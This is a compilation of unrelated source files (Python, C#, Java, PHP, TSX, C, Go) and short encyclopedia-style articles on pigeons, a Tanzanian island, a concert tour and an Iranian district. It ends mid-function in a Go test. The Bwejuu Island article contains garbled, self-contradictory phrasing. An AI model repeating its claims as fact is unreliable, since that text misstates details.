# function in dmSUT, so an error here is not necessarily
# the end of the world
return []
if not newLogContent:
return []
self.stdoutlen += len(newLogContent)
if self.messageLogger is None:
testStartFilenames = re.findall(r"TEST-START \| ([^\s]*)", newLogContent)
if testStartFilenames:
self.lastTestSeen = testStartFilenames[-1]
print newLogContent
return [newLogContent]
self.logBuffer += newLogContent
lines = self.logBuffer.split('\n')
if not lines:
return
# We only keep the last (unfinished) line in the buffer
self.logBuffer = lines[-1]
del lines[-1]
messages = []
for line in lines:
# This passes the line to the logger (to be logged or buffered)
# and returns a list of structured messages (dict)
parsed_messages = self.messageLogger.write(line)
for message in parsed_messages:
if message['action'] == 'test_start':
self.lastTestSeen = message['test']
messages += parsed_messages
return messages
@property
def getLastTestSeen(self):
return self.lastTestSeen
# Wait for the remote process to end (or for its activity to go to background).
# While waiting, periodically retrieve the process output and print it.
# If the process is still running after *timeout* seconds, return 1;
# If the process is still running but no output is received in *noOutputTimeout*
# seconds, return 2;
# Else, once the process exits/goes to background, return 0.
def wait(self, timeout = None, noOutputTimeout = None):
timer = 0
noOutputTimer = 0
interval = 20
if timeout == None:
timeout = self.timeout
status = 0
while (self.dm.getTopActivity() == self.procName):
# retrieve log updates every 60 seconds
if timer % 60 == 0:
messages = self.read_stdout()
if messages:
noOutputTimer = 0
time.sleep(interval)
timer += interval
noOutputTimer += interval
if (timer > timeout):
status = 1
break
if (noOutputTimeout and noOutputTimer > noOutputTimeout):
status = 2
break
# Flush anything added to stdout during the sleep
self.read_stdout()
return status
def kill(self, stagedShutdown = False):
if stagedShutdown:
# Trigger an ANR report with "kill -3" (SIGQUIT)
self.dm.killProcess(self.procName, 3)
time.sleep(3)
# Trigger a breakpad dump with "kill -6" (SIGABRT)
self.dm.killProcess(self.procName, 6)
# Wait for process to end
retries = 0
while retries < 3:
pid = self.dm.processExist(self.procName)
if pid and pid > 0:
print "%s still alive after SIGABRT: waiting..." % self.procName
time.sleep(5)
else:
return
retries += 1
self.dm.killProcess(self.procName, 9)
pid = self.dm.processExist(self.procName)
if pid and pid > 0:
self.dm.killProcess(self.procName)
else:
self.dm.killProcess(self.procName)
```
|
The Pouter or Cropper pigeons are domesticated varieties of the rock dove, Columba livia, characterized by a very large, inflatable crop. They are kept as ornamental or fancy breeds, valued for their unusual appearance. There are many varieties of pouter with little in common except for the nature of the crop. The origin of the breed group is unknown, but Pouters have been bred in Europe for at least 400 years.
Common varieties
Brunner Pouter
Dutch Cropper
Elster Cropper
English Pouter
Gaditano Pouter
Ghent Cropper
Granadino Pouter
Holle Cropper
Horseman Thief Pouter
Marchenero Pouter
Norwich Cropper
Old German Cropper
Pigmy Pouter
Pomeranian Pouter
Reverse-wing Pouter
Voorburg Shield Cropper
See also
List of pigeon breeds
References
External links
Pigeon breeds
Domestic pigeons
|
```smalltalk
using SixLabors.ImageSharp.Advanced;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Tests.Memory;
namespace SixLabors.ImageSharp.Tests;
public abstract partial class ImageFrameCollectionTests
{
[GroupOutput("ImageFramesCollectionTests")]
public class Generic : ImageFrameCollectionTests
{
[Fact]
public void Constructor_ShouldCreateOneFrame()
=> Assert.Equal(1, this.Collection.Count);
[Fact]
public void AddNewFrame_FramesMustHaveSameSize()
{
ArgumentException ex = Assert.Throws<ArgumentException>(
() =>
{
using ImageFrame<Rgba32> frame = new(Configuration.Default, 1, 1);
using ImageFrame<Rgba32> addedFrame = this.Collection.AddFrame(frame);
});
Assert.StartsWith("Frame must have the same dimensions as the image.", ex.Message);
}
[Fact]
public void AddNewFrame_Frame_FramesNotBeNull()
{
ArgumentNullException ex = Assert.Throws<ArgumentNullException>(
() =>
{
using ImageFrame<Rgba32> addedFrame = this.Collection.AddFrame((ImageFrame<Rgba32>)null);
});
Assert.StartsWith("Value cannot be null. (Parameter 'frame')", ex.Message);
}
[Fact]
public void AddNewFrame_PixelBuffer_DataMustNotBeNull()
{
Rgba32[] data = null;
ArgumentNullException ex = Assert.Throws<ArgumentNullException>(
() =>
{
using ImageFrame<Rgba32> addedFrame = this.Collection.AddFrame(data);
});
Assert.StartsWith("Value cannot be null. (Parameter 'source')", ex.Message);
}
[Fact]
public void AddNewFrame_PixelBuffer_BufferIncorrectSize()
{
ArgumentOutOfRangeException ex = Assert.Throws<ArgumentOutOfRangeException>(
() =>
{
using ImageFrame<Rgba32> addedFrame = this.Collection.AddFrame(Array.Empty<Rgba32>());
});
Assert.StartsWith($"Parameter \"data\" ({typeof(int)}) must be greater than or equal to {100}, was {0}", ex.Message);
}
[Fact]
public void InsertNewFrame_FramesMustHaveSameSize()
{
ArgumentException ex = Assert.Throws<ArgumentException>(
() =>
{
using ImageFrame<Rgba32> frame = new(Configuration.Default, 1, 1);
using ImageFrame<Rgba32> insertedFrame = this.Collection.InsertFrame(1, frame);
});
Assert.StartsWith("Frame must have the same dimensions as the image.", ex.Message);
}
[Fact]
public void InsertNewFrame_FramesNotBeNull()
{
ArgumentNullException ex = Assert.Throws<ArgumentNullException>(
() =>
{
using ImageFrame<Rgba32> insertedFrame = this.Collection.InsertFrame(1, null);
});
Assert.StartsWith("Value cannot be null. (Parameter 'frame')", ex.Message);
}
[Fact]
public void Constructor_FramesMustHaveSameSize()
{
ArgumentException ex = Assert.Throws<ArgumentException>(
() =>
{
using ImageFrame<Rgba32> imageFrame1 = new(Configuration.Default, 10, 10);
using ImageFrame<Rgba32> imageFrame2 = new(Configuration.Default, 1, 1);
new ImageFrameCollection<Rgba32>(
this.Image,
new[] { imageFrame1, imageFrame2 });
});
Assert.StartsWith("Frame must have the same dimensions as the image.", ex.Message);
}
[Fact]
public void RemoveAtFrame_ThrowIfRemovingLastFrame()
{
using ImageFrame<Rgba32> imageFrame = new(Configuration.Default, 10, 10);
ImageFrameCollection<Rgba32> collection = new(
this.Image,
new[] { imageFrame });
InvalidOperationException ex = Assert.Throws<InvalidOperationException>(
() => collection.RemoveFrame(0));
Assert.Equal("Cannot remove last frame.", ex.Message);
}
[Fact]
public void RemoveAtFrame_CanRemoveFrameZeroIfMultipleFramesExist()
{
using ImageFrame<Rgba32> imageFrame1 = new(Configuration.Default, 10, 10);
using ImageFrame<Rgba32> imageFrame2 = new(Configuration.Default, 10, 10);
ImageFrameCollection<Rgba32> collection = new(
this.Image,
new[] { imageFrame1, imageFrame2 });
collection.RemoveFrame(0);
Assert.Equal(1, collection.Count);
}
[Fact]
public void RootFrameIsFrameAtIndexZero()
{
using ImageFrame<Rgba32> imageFrame1 = new(Configuration.Default, 10, 10);
using ImageFrame<Rgba32> imageFrame2 = new(Configuration.Default, 10, 10);
ImageFrameCollection<Rgba32> collection = new(
this.Image,
new[] { imageFrame1, imageFrame2 });
Assert.Equal(collection.RootFrame, collection[0]);
}
[Fact]
public void ConstructorPopulatesFrames()
{
using ImageFrame<Rgba32> imageFrame1 = new(Configuration.Default, 10, 10);
using ImageFrame<Rgba32> imageFrame2 = new(Configuration.Default, 10, 10);
ImageFrameCollection<Rgba32> collection = new(
this.Image,
new[] { imageFrame1, imageFrame2 });
Assert.Equal(2, collection.Count);
}
[Fact]
public void DisposeClearsCollection()
{
using ImageFrame<Rgba32> imageFrame1 = new(Configuration.Default, 10, 10);
using ImageFrame<Rgba32> imageFrame2 = new(Configuration.Default, 10, 10);
ImageFrameCollection<Rgba32> collection = new(
this.Image,
new[] { imageFrame1, imageFrame2 });
collection.Dispose();
Assert.Equal(0, collection.Count);
}
[Fact]
public void Dispose_DisposesAllInnerFrames()
{
using ImageFrame<Rgba32> imageFrame1 = new(Configuration.Default, 10, 10);
using ImageFrame<Rgba32> imageFrame2 = new(Configuration.Default, 10, 10);
ImageFrameCollection<Rgba32> collection = new(
this.Image,
new[] { imageFrame1, imageFrame2 });
IPixelSource<Rgba32>[] framesSnapShot = collection.OfType<IPixelSource<Rgba32>>().ToArray();
Assert.All(framesSnapShot, f => Assert.False(f.PixelBuffer.IsDisposed));
collection.Dispose();
Assert.All(framesSnapShot, f => Assert.True(f.PixelBuffer.IsDisposed));
}
[Theory]
[WithTestPatternImages(10, 10, PixelTypes.Rgba32)]
public void CloneFrame<TPixel>(TestImageProvider<TPixel> provider)
where TPixel : unmanaged, IPixel<TPixel>
{
using Image<TPixel> img = provider.GetImage();
using ImageFrame<Rgba32> imageFrame = new(Configuration.Default, 10, 10);
using ImageFrame addedFrame = img.Frames.AddFrame(imageFrame); // add a frame anyway
using Image<TPixel> cloned = img.Frames.CloneFrame(0);
Assert.Equal(2, img.Frames.Count);
Assert.True(img.DangerousTryGetSinglePixelMemory(out Memory<TPixel> imgMem));
cloned.ComparePixelBufferTo(imgMem);
}
[Theory]
[WithTestPatternImages(10, 10, PixelTypes.Rgba32)]
public void ExtractFrame<TPixel>(TestImageProvider<TPixel> provider)
where TPixel : unmanaged, IPixel<TPixel>
{
using Image<TPixel> img = provider.GetImage();
Assert.True(img.DangerousTryGetSinglePixelMemory(out Memory<TPixel> imgMemory));
TPixel[] sourcePixelData = imgMemory.ToArray();
using ImageFrame<Rgba32> imageFrame = new(Configuration.Default, 10, 10);
using ImageFrame addedFrame = img.Frames.AddFrame(imageFrame);
using Image<TPixel> cloned = img.Frames.ExportFrame(0);
Assert.Equal(1, img.Frames.Count);
cloned.ComparePixelBufferTo(sourcePixelData.AsSpan());
}
[Fact]
public void CreateFrame_Default()
{
using (this.Image.Frames.CreateFrame())
{
Assert.Equal(2, this.Image.Frames.Count);
this.Image.Frames[1].ComparePixelBufferTo(default(Rgba32));
}
}
[Fact]
public void CreateFrame_CustomFillColor()
{
using (this.Image.Frames.CreateFrame(Color.HotPink))
{
Assert.Equal(2, this.Image.Frames.Count);
this.Image.Frames[1].ComparePixelBufferTo(Color.HotPink.ToPixel<Rgba32>());
}
}
[Fact]
public void AddFrameFromPixelData()
{
Assert.True(this.Image.Frames.RootFrame.DangerousTryGetSinglePixelMemory(out Memory<Rgba32> imgMem));
Rgba32[] pixelData = imgMem.ToArray();
using ImageFrame<Rgba32> addedFrame = this.Image.Frames.AddFrame(pixelData);
Assert.Equal(2, this.Image.Frames.Count);
}
[Fact]
public void AddFrame_clones_sourceFrame()
{
using ImageFrame<Rgba32> otherFrame = new(Configuration.Default, 10, 10);
using ImageFrame<Rgba32> addedFrame = this.Image.Frames.AddFrame(otherFrame);
Assert.True(otherFrame.DangerousTryGetSinglePixelMemory(out Memory<Rgba32> otherFrameMem));
addedFrame.ComparePixelBufferTo(otherFrameMem.Span);
Assert.NotEqual(otherFrame, addedFrame);
}
[Fact]
public void InsertFrame_clones_sourceFrame()
{
using ImageFrame<Rgba32> otherFrame = new(Configuration.Default, 10, 10);
using ImageFrame<Rgba32> addedFrame = this.Image.Frames.InsertFrame(0, otherFrame);
Assert.True(otherFrame.DangerousTryGetSinglePixelMemory(out Memory<Rgba32> otherFrameMem));
addedFrame.ComparePixelBufferTo(otherFrameMem.Span);
Assert.NotEqual(otherFrame, addedFrame);
}
[Fact]
public void MoveFrame_LeavesFrameInCorrectLocation()
{
for (int i = 0; i < 9; i++)
{
this.Image.Frames.CreateFrame();
}
ImageFrame<Rgba32> frame = this.Image.Frames[4];
this.Image.Frames.MoveFrame(4, 7);
int newIndex = this.Image.Frames.IndexOf(frame);
Assert.Equal(7, newIndex);
}
[Fact]
public void IndexOf_ReturnsCorrectIndex()
{
for (int i = 0; i < 9; i++)
{
this.Image.Frames.CreateFrame();
}
ImageFrame<Rgba32> frame = this.Image.Frames[4];
int index = this.Image.Frames.IndexOf(frame);
Assert.Equal(4, index);
}
[Fact]
public void Contains_TrueIfMember()
{
for (int i = 0; i < 9; i++)
{
this.Image.Frames.CreateFrame();
}
ImageFrame<Rgba32> frame = this.Image.Frames[4];
Assert.True(this.Image.Frames.Contains(frame));
}
[Fact]
public void Contains_FalseIfNonMember()
{
for (int i = 0; i < 9; i++)
{
this.Image.Frames.CreateFrame();
}
using ImageFrame<Rgba32> frame = new(Configuration.Default, 10, 10);
Assert.False(this.Image.Frames.Contains(frame));
}
[Fact]
public void PreferContiguousImageBuffers_True_AppliedToAllFrames()
{
Configuration configuration = Configuration.Default.Clone();
configuration.MemoryAllocator = new TestMemoryAllocator { BufferCapacityInBytes = 1000 };
configuration.PreferContiguousImageBuffers = true;
using Image<Rgba32> image = new(configuration, 100, 100);
image.Frames.CreateFrame();
image.Frames.InsertFrame(0, image.Frames[0]);
image.Frames.CreateFrame(Color.Red);
Assert.Equal(4, image.Frames.Count);
foreach (ImageFrame<Rgba32> frame in image.Frames)
{
Assert.True(frame.DangerousTryGetSinglePixelMemory(out Memory<Rgba32> _));
}
}
[Fact]
public void DisposeCall_NoThrowIfCalledMultiple()
{
Image<Rgba32> image = new(Configuration.Default, 10, 10);
ImageFrameCollection<Rgba32> frameCollection = image.Frames;
image.Dispose(); // this should invalidate underlying collection as well
frameCollection.Dispose();
}
[Fact]
public void PublicProperties_ThrowIfDisposed()
{
Image<Rgba32> image = new(Configuration.Default, 10, 10);
ImageFrameCollection<Rgba32> frameCollection = image.Frames;
image.Dispose(); // this should invalidate underlying collection as well
Assert.Throws<ObjectDisposedException>(() => { ImageFrame prop = frameCollection.RootFrame; });
}
[Fact]
public void PublicMethods_ThrowIfDisposed()
{
Image<Rgba32> image = new(Configuration.Default, 10, 10);
ImageFrameCollection<Rgba32> frameCollection = image.Frames;
image.Dispose(); // this should invalidate underlying collection as well
Assert.Throws<ObjectDisposedException>(() => { ImageFrame<Rgba32> res = frameCollection.AddFrame(default(ImageFrame<Rgba32>)); });
Assert.Throws<ObjectDisposedException>(() => { Image<Rgba32> res = frameCollection.CloneFrame(default); });
Assert.Throws<ObjectDisposedException>(() => { bool res = frameCollection.Contains(default); });
Assert.Throws<ObjectDisposedException>(() => { ImageFrame<Rgba32> res = frameCollection.CreateFrame(); });
Assert.Throws<ObjectDisposedException>(() => { ImageFrame<Rgba32> res = frameCollection.CreateFrame(default); });
Assert.Throws<ObjectDisposedException>(() => { Image<Rgba32> res = frameCollection.ExportFrame(default); });
Assert.Throws<ObjectDisposedException>(() => { IEnumerator<ImageFrame<Rgba32>> res = frameCollection.GetEnumerator(); });
Assert.Throws<ObjectDisposedException>(() => { int prop = frameCollection.IndexOf(default); });
Assert.Throws<ObjectDisposedException>(() => { ImageFrame<Rgba32> prop = frameCollection.InsertFrame(default, default); });
Assert.Throws<ObjectDisposedException>(() => frameCollection.RemoveFrame(default));
Assert.Throws<ObjectDisposedException>(() => frameCollection.MoveFrame(default, default));
}
}
}
```
|
Bwejuu Island (Kisiwa cha Bwejuu, in Swahili) is an island of the Mafia Archipelago located in Kilindoni ward of Mafia District in southern Pwani Region of Tanzania. After Jibondo Island, which is to its east, the island is the fourth largest in the archipelago. Mafia Island is to the east, and the Mafia Channel is to the west and south of the island.
The island is part of the Mafia Island Marine Park. A green sea turtle that had nested and been tagged in the Comoros in 2001 was willingly released by a gillnet fisherman on Bwejuu Island in August 2002. This was the first turtle that had been seized on Mafia Archipelago that had been released voluntarily.
Geography
Bwejuu Island is one of the eight islands that make up the Mafia archipelago. It is situated 15 km offshore to the east of the Rufiji Delta on Tanzania's central coast. The Mafia (Main) Island's closest point to the coast of the mainland is Bwejuu Island, one of the six inhabited islands in the archipelago, which is located around 5 km off its western shore.The island is a sandbank on a vast coral reef, with pristine sandy soil that is productively infertile and only supports coconut trees. It is less than 200 m north–south and around 3 km east–west, but maps from the 1820s imply that it was once larger. The Bwejuu island is moveable due to the south-east wind's consistent action. One rocky islet, known locally as Kijiwe Nyara Kubwa (at the western end of the island) and Kijiwe Nyara Ndogo (at the eastern end), is located on the southern side of each of the island's ends (east and west).
The search for freshwater has been unsuccessful despite numerous attempts to drill deep wells. Salinity-producing well water typically evaporates during the height of dry seasons. Fresh water is derived from two sources; the first is rainfall that is gathered by a designed catchment tank and is utilised sparingly and saved for the dry seasons. Second, fresh water was transported to the island by boats from the Rufiji Delta or Kilindoni and sold as a business venture.
Bwejuu Island is mostly accessible by straight boats from Kilindoni, which dock on either the north or south side depending on the direction of the monsoon wind. The former is used during the north-east monsoon (Kaskazi), which blows between November and March, while the latter is used during the south-east monsoon (Kusi in Swahili), which blows from April to August. The Island is easily accessible at high tide when boats may reach up to the shore because to the vast nature of the basal coral reef.
History
Some academics believe that Bwejuu Island served as the first crossing point for Bantu settlers from the mainland into the Mafia archipelago because of its location halfway between the mainland coast and that group of islands. The historic crossing of the Mafia Channel was recreated by archaeologists Chami and Msemwa using inexpensive boats. Over 900 people are thought to currently reside on Bwejuu Island. They primarily rely on fishing and coconuts, however they also keep domestic animals including chickens, goats, and sheep. The majority of the locals travel across the channel to the Rufiji delta to farm, and some have families there.
Archaeological survey and excavation of 2019 on the island's southeast turned up beads and ceramics from the 16th to 18th centuries CE, confirming Chami's earlier discoveries. A considerable amount of pottery from transoceanic trade operations, some of which have been documented from other parts of the Mafia archipelago, was discovered during an underwater survey on the south and south-east of the island. Thermoluminescence dating was performed on three samples, and the results showed that two dates ranged from the first century BCE to the seventh century CE, with one sample producing a date between those periods. On this day in antiquity, civilizations from the Red Sea, the Mediterranean Sea, and the northern Indian Ocean engaged in trade with Azania in East Africa.
The findings of this 2019 study imply that Bwejuu Island was populated far earlier than previously believed during its ancient history. The imported pottery discovered in the submerged area and dated to the first century BC–first century AD indicates a transoceanic colony, maybe providing hints about the long-lost ancient city of Rhapta. Thermoluminescence dates indicate a continuous occupation of the Island from the ancient times until the 17th century AD, despite the lack of sherds traceable to Swahili tradition in the gathered assemblage. The evidence of the Island's settlements throughout those times consists of potsherds identified as belonging to post-Swahili and nearly modern traditions.
References
Coastal islands of Tanzania
Mafia Archipelago
Geography of Pwani Region
Swahili city-states
|
```java
package org.hongxi.whatsmars.spring.bean;
import lombok.Data;
import java.util.List;
/**
* Created by shenhongxi on 2021/4/2.
*/
@Data
public class Student {
private String name;
private Integer age;
private Contacts address;
private List<Contacts> addresses;
}
```
|
```php
<?php
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
*/
namespace Google\Service\ServiceConsumerManagement;
class UsageRule extends \Google\Model
{
/**
* @var bool
*/
public $allowUnregisteredCalls;
/**
* @var string
*/
public $selector;
/**
* @var bool
*/
public $skipServiceControl;
/**
* @param bool
*/
public function setAllowUnregisteredCalls($allowUnregisteredCalls)
{
$this->allowUnregisteredCalls = $allowUnregisteredCalls;
}
/**
* @return bool
*/
public function getAllowUnregisteredCalls()
{
return $this->allowUnregisteredCalls;
}
/**
* @param string
*/
public function setSelector($selector)
{
$this->selector = $selector;
}
/**
* @return string
*/
public function getSelector()
{
return $this->selector;
}
/**
* @param bool
*/
public function setSkipServiceControl($skipServiceControl)
{
$this->skipServiceControl = $skipServiceControl;
}
/**
* @return bool
*/
public function getSkipServiceControl()
{
return $this->skipServiceControl;
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(UsageRule::class, 'Google_Service_ServiceConsumerManagement_UsageRule');
```
|
```xml
import React from 'react';
import Choice from '../../containers/quiz/Choice';
import ActionButtons from '@erxes/ui/src/components/ActionButtons';
import Tip from '@erxes/ui/src/components/Tip';
import Icon from '@erxes/ui/src/components/Icon';
import ModalTrigger from '@erxes/ui/src/components/ModalTrigger';
import Button from '@erxes/ui/src/components/Button';
import { __ } from '@erxes/ui/src/utils';
import QuestionForm from '../../containers/quiz/QuestionForm';
import { StepBody, StepHeader, StepItem, MarginAuto } from '../../styles';
import { FlexContent, FlexItem } from '@erxes/ui/src/layout/styles';
import { IQuestion } from '../../types';
const QuestionList: React.FC<{
question?: IQuestion;
index?: number;
quizId: string;
onDeleteQuestion?: (_id: string) => void;
}> = ({ question, index, onDeleteQuestion, quizId }) => {
const renderQuestionForm = props => (
<QuestionForm {...props} question={question} quizId={quizId} />
);
const renderChoiceForm = props => (
<QuestionForm
questionId={question._id}
{...props}
type="choice"
quizId={quizId}
/>
);
const renderChoises = () => {
if (question.choices?.length > 0) {
return question.choices.map((c, i) => (
<Choice key={c._id} choice={c} index={i} quizId={quizId} />
));
}
return 'No choices';
};
return (
<StepItem>
<StepHeader>
<FlexContent>
<FlexItem>
{index + 1}. {question.text}{' '}
{question.isMultipleChoice ? '(Multiple choice)' : ''}{' '}
</FlexItem>
<MarginAuto>
<FlexItem count={1.05}>
<ActionButtons>
<ModalTrigger
trigger={
<Button btnStyle="link">
<Tip text={__('Edit')} placement="top">
<Icon icon="edit-3" />
</Tip>
</Button>
}
content={renderQuestionForm}
title="Edit Question"
/>
<ModalTrigger
trigger={
<Button btnStyle="link">
<Tip text={__('Add Choice')} placement="top">
<Icon icon="plus-circle" />
</Tip>
</Button>
}
content={renderChoiceForm}
title="Add Choice"
/>
<Tip text={__('Delete')} placement="top">
<Button
id="questionDelete"
btnStyle="link"
icon="times-circle"
onClick={() => onDeleteQuestion(quizId)}
/>
</Tip>
</ActionButtons>
</FlexItem>
</MarginAuto>
</FlexContent>
</StepHeader>
<StepBody>{renderChoises()}</StepBody>
</StepItem>
);
};
export default QuestionList;
```
|
```objective-c
/*
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the <organization> nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
* * The WHITECAT logotype cannot be changed, you can remove it, but you
* cannot change it in any way. The WHITECAT logotype is:
*
* /\ /\
* / \_____/ \
* /_____________\
* W H I T E C A T
*
* * Redistributions in binary form must retain all copyright notices printed
* to any local or remote output device. This include any reference to
* Lua RTOS, whitecatboard.org, Lua, and other copyright notices that may
* appear in the future.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* Lua RTOS, segment display library
*
*/
#ifndef SDISPLAY_H_
#define SDISPLAY_H_
#include <sys/driver.h>
typedef enum {
SDisplayNoType = 0,
SDisplayTwoWire = 1,
SDisplayI2C = 2
} sdisplay_type_t;
struct sdisplay;
typedef struct {
uint8_t chipset; // Chipset
sdisplay_type_t type;
driver_error_t *(*setup)(struct sdisplay *);
driver_error_t *(*clear)(struct sdisplay *);
driver_error_t *(*write)(struct sdisplay *, const char *);
driver_error_t *(*brightness)(struct sdisplay *, uint8_t);
} sdisplay_t;
typedef struct sdisplay{
const sdisplay_t *display;
int id;
uint8_t brightness;
uint8_t digits;
union {
struct {
int clk;
int dio;
} wire;
struct {
int device;
int address;
} i2c;
} config;
} sdisplay_device_t;
#define CHIPSET_TM1637 1
#define CHIPSET_HT16K3 2
sdisplay_type_t sdisplay_type(uint8_t chipset);
driver_error_t *sdisplay_setup(uint8_t chipset, sdisplay_device_t *device, uint8_t digits, ...) ;
driver_error_t *sdisplay_clear(sdisplay_device_t *device);
driver_error_t *sdisplay_write(sdisplay_device_t *device, const char *data);
driver_error_t *sdisplay_brightness(sdisplay_device_t *device, uint8_t brightness);
// Driver errors
#define SDISPLAY_ERR_INVALID_CHIPSET (DRIVER_EXCEPTION_BASE(SDISPLAY_DRIVER_ID) | 0)
#define SDISPLAY_ERR_TIMEOUT (DRIVER_EXCEPTION_BASE(SDISPLAY_DRIVER_ID) | 1)
#define SDISPLAY_ERR_INVALID_BRIGHTNESS (DRIVER_EXCEPTION_BASE(SDISPLAY_DRIVER_ID) | 2)
#define SDISPLAY_ERR_NOT_ENOUGH_MEMORY (DRIVER_EXCEPTION_BASE(SDISPLAY_DRIVER_ID) | 3)
#define SDISPLAY_ERR_INVALID_DIGITS (DRIVER_EXCEPTION_BASE(SDISPLAY_DRIVER_ID) | 4)
extern const int sdisplay_errors;
extern const int sdisplay_error_map;
#endif /* SDISPLAY_H_ */
```
|
The 12th Annual Honda Civic Tour was a concert tour headlined by American pop rock band Maroon 5, alongside special guest, American pop rock singer Kelly Clarkson. Sponsored by Honda Motor Company, the tour also featured Rozzi Crane and The Voice second season contestant Tony Lucca, as well as American R&B singer PJ Morton as its supporting acts. With 33 dates, the 12th installment of the tour was the longest, which began on August 1, 2013, in Maryland Heights, Missouri at the Verizon Wireless Amphitheater and ended on October 6, 2013, at the Hollywood Bowl in Los Angeles.
Opening acts
Rozzi Crane
Tony Lucca
PJ Morton
Setlists
Tour dates
Box office
On June 4, 2013, it was announced that the Maryland Heights, Burgettstown, Mansfield, Holmdel, Wantagh, Clarkston, Austin, The Woodlands, Denver, Irvine and Los Angeles show were sold out.
Cancelled dates
Notes
References
External links
2013 concert tours
Maroon 5 concert tours
Kelly Clarkson concert tours
Co-headlining concert tours
Concert tours of North America
Concert tours of the United States
Concert tours of Canada
|
Kargan Rud District () is in Talesh County, Gilan province, Iran. Its capital is the city of Lisar. The dialect of Kargan Rud is a variety of Talysh
At the 2006 National Census, its population was 24,804 in 6,216 households. The following census in 2011 counted 25,546 people in 7,346 households. At the latest census in 2016, the district had 26,508 inhabitants in 8,459 households.
References
Talesh County
Districts of Gilan Province
Populated places in Gilan Province
Populated places in Talesh County
|
```php
<?php
/*************************************************************************
Generated via "php artisan localization:missing" at 2018/04/13 13:27:24
*************************************************************************/
return array(
'about' => 'Over',
'account' => 'Account',
'account_id' => 'Account ID',
'accout_owner' => 'Account eigenaar',
'add_user_help_block' => 'Toegevoegde gebruikers ontvangen instructies via de e-mail.',
'add_user_submit' => 'Gebruiker toevoegen',
'api_key' => 'API key',
'bitpay_api_key' => 'BitPay API key',
'bitpay_settings' => 'Bitpay Instellingen',
'branding_name' => 'Merknaam',
'branding_name_help' => 'Deze naam wordt weergegeven als de bezoekers betalen. Laat dit veld leeg als u de organisator zijn naam niet wil gebruiken.',
'coinbase_settings' => 'Coinbase instellingen',
'default_currency' => 'Standaard valuta',
'default_payment_gateway' => 'Standaard betalingsprovider',
'email' => 'Email',
'email_address_placeholder' => 'Email adres',
'first_name' => 'Voornaam',
'general' => 'Algemeen',
'last_name' => 'Achternaam',
'licence_info' => 'Licentie informatie',
'licence_info_description' => 'Attendize is gelicenseerd onder <b><a target="_blank" href="path_to_url#summary">Attribution Assurance Licence (AAL)</a></b>. Deze licnetie verplicht tot het plaatsen van <b>\'Powered By Attendize\'</b> melding op iedere pagina. Indien u deze wenst te verwijderen dient u een white-label licentie aan te schaffen <b><a target="_blank" href="path_to_url">klik hier </a>voor verdere informatie</b>.',
'mastercard_internet_gateway_service_settings' => 'Mastercard Internet Gateway Service Settings',
'merchant_access_code' => 'Verkoper code',
'merchant_id' => 'Verkoper ID',
'open_source_soft' => 'Open-source software',
'open_source_soft_description' => 'Attendize is gebouwd met fantastische open-source libraries. Een overzicht hier van kan je vinden op <b><a href="path_to_url" target="_blank">libraries.io</a></b>.',
'payment' => 'Betaling',
'paypal_password' => 'PayPal wachtwoord',
'paypal_settings' => 'PayPal instellingen',
'paypal_signature' => 'PayPal handtekening',
'paypal_username' => 'PayPal gebruikersnaam',
'save_account_details_submit' => 'Save account details',
'save_payment_details_submit' => 'Save payment details',
'secret_code' => 'Secret code',
'secure_hash_code' => 'Secure hash code',
'stripe_publishable_key' => 'Stripe publishable key',
'stripe_secret_key' => 'Stripe secret key',
'stripe_settings' => 'Stripe Settings',
'timezone' => 'Tijdzone',
'users' => 'Gebruikers',
'version_info' => 'Versie informatie',
'version_out_of_date' => 'De versie (<b>:installed</b>) van Attendize is niet up to date. De laatste versie is: (<b>:latest</b>) en kan worden <a href=":url" target="_blank">gedownload hier</a>',
'version_up_to_date' => 'Je Attendize versie (<b>:installed</b>) is up to date!',
'account_payment' => 'Account / Betaling',
'event_attendees' => 'Event bezoekers',
);
```
|
```go
package gorgonia
import (
"fmt"
"math/rand"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"gorgonia.org/dawson"
"gorgonia.org/tensor"
)
var im2colTests = []struct {
kernel tensor.Shape
pad tensor.Shape
stride tensor.Shape
dilation tensor.Shape
}{
{tensor.Shape{4, 4}, tensor.Shape{0, 0}, tensor.Shape{1, 1}, tensor.Shape{1, 1}},
{tensor.Shape{3, 3}, tensor.Shape{1, 1}, tensor.Shape{2, 2}, tensor.Shape{1, 1}},
{tensor.Shape{3, 3}, tensor.Shape{1, 1}, tensor.Shape{3, 3}, tensor.Shape{1, 1}},
}
func im2colTest(t *testing.T, dt tensor.Dtype, kernel, pad, stride, dilation tensor.Shape) {
assert := assert.New(t)
g := NewGraph()
x := NewTensor(g, dt, 4, WithShape(2, 1, 28, 28), WithInit(RangedFrom(0))) // mnist, in batches of 10
y, err := Im2Col(x, kernel, pad, stride, dilation)
if err != nil {
t.Error(err)
return
}
cost := Must(Sum(y))
grads, err := Grad(cost, x)
if err != nil {
